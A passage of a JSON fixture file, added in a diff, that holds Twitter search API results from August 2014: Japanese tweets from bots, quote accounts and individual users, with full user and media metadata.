"profile_image_url": "http://pbs.twimg.com/profile_images/493760276676620289/32oLiTtT_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/493760276676620289/32oLiTtT_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/82900665/1398865798", + "profile_link_color": "D02B55", + "profile_sidebar_border_color": "829D5E", + "profile_sidebar_fill_color": "99CC33", + "profile_text_color": "3E4415", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 3291, + "favorite_count": 1526, + "entities": { + "hashtags": [ + { + "text": "LEDカツカツ選手権", + "indices": [ + 0, + 11 + ] + } + ], + "symbols": [], + "urls": [], + "user_mentions": [], + "media": [ + { + "id": 439430848194936800, + "id_str": "439430848194936832", + "indices": [ + 41, + 63 + ], + "media_url": "http://pbs.twimg.com/media/BhksBzoCAAAJeDS.jpg", + "media_url_https": "https://pbs.twimg.com/media/BhksBzoCAAAJeDS.jpg", + "url": "http://t.co/vmrreDMziI", + "display_url": "pic.twitter.com/vmrreDMziI", + "expanded_url": "http://twitter.com/thsc782_407/status/439430848190742528/photo/1", + "type": "photo", + "sizes": { + "medium": { + "w": 600, + "h": 450, + "resize": "fit" + }, + "large": { + "w": 1024, + "h": 768, + "resize": "fit" + }, + "thumb": { + "w": 150, + "h": 150, + "resize": "crop" + }, + "small": { + "w": 340, + "h": 255, + "resize": "fit" + } + } + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + "retweet_count": 3291, + "favorite_count": 0, + "entities": { + "hashtags": [ + { + "text": "LEDカツカツ選手権", + "indices": [ + 17, + 28 + ] + } + ], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "thsc782_407", + "name": "[90]青葉台 芦 (第二粟屋) 屋", + "id": 82900665, + "id_str": "82900665", + "indices": [ + 3, + 15 + ] + } + ], + "media": [ + { + "id": 439430848194936800, + "id_str": "439430848194936832", + "indices": [ + 58, + 80 + ], + "media_url": "http://pbs.twimg.com/media/BhksBzoCAAAJeDS.jpg", + "media_url_https": "https://pbs.twimg.com/media/BhksBzoCAAAJeDS.jpg", + "url": "http://t.co/vmrreDMziI", + "display_url": "pic.twitter.com/vmrreDMziI", + "expanded_url": "http://twitter.com/thsc782_407/status/439430848190742528/photo/1", + "type": "photo", + "sizes": { + "medium": { + "w": 600, + "h": 450, + "resize": "fit" + }, + "large": { + "w": 1024, + "h": 768, + "resize": "fit" + }, + "thumb": { + "w": 150, + "h": 150, + "resize": "crop" + }, + "small": { + "w": 340, + "h": 255, + "resize": "fit" + } + }, + "source_status_id": 439430848190742500, + "source_status_id_str": "439430848190742528" + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:13 +0000 2014", + "id": 505874918039228400, + "id_str": "505874918039228416", + "text": "【金一地区太鼓台】川関と小山の見分けがつかない", + "source": "twittbot.net", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2530194984, + "id_str": "2530194984", + "name": "川之江中高生あるある", + "screen_name": "kw_aru", + "location": "DMにてネタ提供待ってますよ", + "description": "川之江中高生の川之江中高生による川之江中高生のためのあるあるアカウントです。タイムリーなネタはお気に入りにあります。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 113, + "friends_count": 157, + "listed_count": 0, + "created_at": "Wed May 28 15:01:43 +0000 2014", + "favourites_count": 30, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 4472, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/471668359314948097/XbIyXiZK_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/471668359314948097/XbIyXiZK_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2530194984/1401289473", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:13 +0000 2014", + "id": 505874915338104800, + "id_str": "505874915338104833", + "text": "おはようございますん♪ SSDSのDVDが朝一で届いた〜(≧∇≦)", + "source": "TweetList!", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 428179337, + "id_str": "428179337", + "name": "サラ", + "screen_name": "sala_mgn", + "location": "東京都", + "description": "bot遊びと実況が主目的の趣味アカウント。成人済♀。時々TLお騒がせします。リフォ率低いですがF/Bご自由に。スパムはブロック![HOT]K[アニメ]タイバニ/K/薄桜鬼/トライガン/進撃[小説]冲方丁/森博嗣[漫画]内藤泰弘/高河ゆん[他]声優/演劇 ※@sano_bot1二代目管理人", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 104, + "friends_count": 421, + "listed_count": 2, + "created_at": "Sun Dec 04 12:51:18 +0000 2011", + "favourites_count": 3257, + "utc_offset": -36000, + "time_zone": "Hawaii", + "geo_enabled": false, + "verified": false, + "statuses_count": 25303, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "1A1B1F", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/601682567/put73jtg48ytjylq00if.jpeg", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/601682567/put73jtg48ytjylq00if.jpeg", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/3350624721/755920942e4f512e6ba489df7eb1147e_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/3350624721/755920942e4f512e6ba489df7eb1147e_normal.jpeg", + "profile_link_color": "2FC2EF", + "profile_sidebar_border_color": "181A1E", + "profile_sidebar_fill_color": "252429", + "profile_text_color": "666666", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:13 +0000 2014", + "id": 505874914897690600, + "id_str": "505874914897690624", + "text": "@ran_kirazuki そのようなお言葉を頂けるとは……!この雨太郎、誠心誠意を持って姉御の足の指の第一関節を崇め奉りとうございます", + "source": "Twitter for Android", + "truncated": false, + "in_reply_to_status_id": 505874276692406300, + "in_reply_to_status_id_str": "505874276692406272", + "in_reply_to_user_id": 531544559, + "in_reply_to_user_id_str": "531544559", + "in_reply_to_screen_name": "ran_kirazuki", + "user": { + "id": 2364828518, + "id_str": "2364828518", + "name": "雨", + "screen_name": "tear_dice", + "location": "変態/日常/創作/室町/たまに版権", + "description": "アイコンは兄さんから!", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 28, + "friends_count": 28, + "listed_count": 0, + "created_at": "Fri Feb 28 00:28:40 +0000 2014", + "favourites_count": 109, + "utc_offset": 32400, + "time_zone": "Seoul", + "geo_enabled": false, + "verified": false, + "statuses_count": 193, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "000000", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/504434510675443713/lvW7ad5b.jpeg", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/504434510675443713/lvW7ad5b.jpeg", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/505170142284640256/rnW4XeEJ_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/505170142284640256/rnW4XeEJ_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2364828518/1409087198", + "profile_link_color": "0D31BF", + "profile_sidebar_border_color": "000000", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "ran_kirazuki", + "name": "蘭ぴよの日常", + "id": 531544559, + "id_str": "531544559", + "indices": [ + 0, + 13 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:13 +0000 2014", + "id": 505874914591514600, + "id_str": "505874914591514626", + "text": "RT @AFmbsk: @samao21718 \n呼び方☞まおちゃん\n呼ばれ方☞あーちゃん\n第一印象☞平野から?!\n今の印象☞おとなっぽい!!\nLINE交換☞もってるん\\( ˆoˆ )/\nトプ画について☞楽しそうでいーな😳\n家族にするなら☞おねぇちゃん\n最後に一言☞全然会えない…", + "source": "Twitter for Android", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2179759316, + "id_str": "2179759316", + "name": "まお", + "screen_name": "samao21718", + "location": "埼玉 UK留学してました✈", + "description": "゚.*97line おさらに貢いでる系女子*.゜ DISH// ✯ 佐野悠斗 ✯ 読モ ✯ WEGO ✯ 嵐 I met @OTYOfficial in the London ;)", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 111, + "friends_count": 121, + "listed_count": 0, + "created_at": "Thu Nov 07 09:47:41 +0000 2013", + "favourites_count": 321, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 1777, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501535615351926784/c5AAh6Sz_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501535615351926784/c5AAh6Sz_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2179759316/1407640217", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sat Aug 30 14:59:49 +0000 2014", + "id": 505731620456771600, + "id_str": "505731620456771584", + "text": "@samao21718 \n呼び方☞まおちゃん\n呼ばれ方☞あーちゃん\n第一印象☞平野から?!\n今の印象☞おとなっぽい!!\nLINE交換☞もってるん\\( ˆoˆ )/\nトプ画について☞楽しそうでいーな😳\n家族にするなら☞おねぇちゃん\n最後に一言☞全然会えないねー今度会えたらいいな!", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": 2179759316, + "in_reply_to_user_id_str": "2179759316", + "in_reply_to_screen_name": "samao21718", + "user": { + "id": 1680668713, + "id_str": "1680668713", + "name": "★Shiiiii!☆", + "screen_name": "AFmbsk", + "location": "埼玉", + "description": "2310*basketball#41*UVERworld*Pooh☪Bell +.。*弱さを知って強くなれ*゚", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 429, + "friends_count": 434, + "listed_count": 0, + "created_at": "Sun Aug 18 12:45:00 +0000 2013", + "favourites_count": 2488, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 6352, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/504643170886365185/JN_dlwUd_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/504643170886365185/JN_dlwUd_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1680668713/1408805886", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 1, + "favorite_count": 1, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "samao21718", + "name": "まお", + "id": 2179759316, + "id_str": "2179759316", + "indices": [ + 0, + 11 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 1, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "AFmbsk", + "name": "★Shiiiii!☆", + "id": 1680668713, + "id_str": "1680668713", + "indices": [ + 3, + 10 + ] + }, + { + "screen_name": "samao21718", + "name": "まお", + "id": 2179759316, + "id_str": "2179759316", + "indices": [ + 12, + 23 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:10 +0000 2014", + "id": 505874905712189440, + "id_str": "505874905712189440", + "text": "一、常に身一つ簡素にして、美食を好んではならない", + "source": "twittbot.net", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1330420010, + "id_str": "1330420010", + "name": "獨行道bot", + "screen_name": "dokkodo_bot", + "location": "", + "description": "宮本武蔵の自誓書、「獨行道」に記された二十一箇条をランダムにつぶやくbotです。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 4, + "friends_count": 5, + "listed_count": 1, + "created_at": "Sat Apr 06 01:19:55 +0000 2013", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 9639, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/3482551671/d9e749f7658b523bdd50b7584ed4ba6a_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/3482551671/d9e749f7658b523bdd50b7584ed4ba6a_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1330420010/1365212335", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:10 +0000 2014", + "id": 505874903094939650, + "id_str": "505874903094939648", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "モテモテ大作戦★男子編", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2714526565, + "id_str": "2714526565", + "name": "モテモテ大作戦★男子編", + "screen_name": "mote_danshi1", + "location": "", + "description": "やっぱりモテモテ男子になりたい!自分を磨くヒントをみつけたい!応援してくれる人は RT & 相互フォローで みなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 664, + "friends_count": 1835, + "listed_count": 0, + "created_at": "Thu Aug 07 12:59:59 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 597, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/497368689386086400/7hqdKMzG_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/497368689386086400/7hqdKMzG_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2714526565/1407416898", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:10 +0000 2014", + "id": 505874902390276100, + "id_str": "505874902390276096", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "心に響くアツい名言集", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2699261263, + "id_str": "2699261263", + "name": "心に響くアツい名言集", + "screen_name": "kokoro_meigen11", + "location": "", + "description": "人生の格言は、人の心や人生を瞬時にに動かしてしまうことがある。\r\nそんな言葉の重みを味わおう。\r\n面白かったらRT & 相互フォローでみなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 183, + "friends_count": 1126, + "listed_count": 0, + "created_at": "Fri Aug 01 22:00:00 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 749, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/495328654126112768/1rKnNuWK_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/495328654126112768/1rKnNuWK_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2699261263/1406930543", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:10 +0000 2014", + "id": 505874902247677950, + "id_str": "505874902247677954", + "text": "RT @POTENZA_SUPERGT: ありがとうございます!“@8CBR8: @POTENZA_SUPERGT 13時半ごろ一雨きそうですが、無事全車決勝レース完走出来ること祈ってます! http://t.co/FzTyFnt9xH”", + "source": "jigtwi", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1021030416, + "id_str": "1021030416", + "name": "narur", + "screen_name": "narur2", + "location": "晴れの国なのに何故か開幕戦では雨や雪や冰や霰が降る✨", + "description": "F1.GP2.Superformula.SuperGT.F3...\nスーパーGTが大好き♡車が好き!新幹線も好き!飛行機も好き!こっそり別アカです(๑´ㅂ`๑)♡*.+゜", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 257, + "friends_count": 237, + "listed_count": 2, + "created_at": "Wed Dec 19 01:14:41 +0000 2012", + "favourites_count": 547, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 55417, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/462180217574789121/1Jf6m_2L.jpeg", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/462180217574789121/1Jf6m_2L.jpeg", + "profile_background_tile": true, + "profile_image_url": "http://pbs.twimg.com/profile_images/444312241395863552/FKl40ebQ_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/444312241395863552/FKl40ebQ_normal.jpeg", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:05:11 +0000 2014", + "id": 505868866686169100, + "id_str": "505868866686169089", + "text": "ありがとうございます!“@8CBR8: @POTENZA_SUPERGT 13時半ごろ一雨きそうですが、無事全車決勝レース完走出来ること祈ってます! http://t.co/FzTyFnt9xH”", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": 505868690588303360, + "in_reply_to_status_id_str": "505868690588303360", + "in_reply_to_user_id": 333344408, + "in_reply_to_user_id_str": "333344408", + "in_reply_to_screen_name": "8CBR8", + "user": { + "id": 359324738, + "id_str": "359324738", + "name": "POTENZA_SUPERGT", + "screen_name": "POTENZA_SUPERGT", + "location": "", + "description": 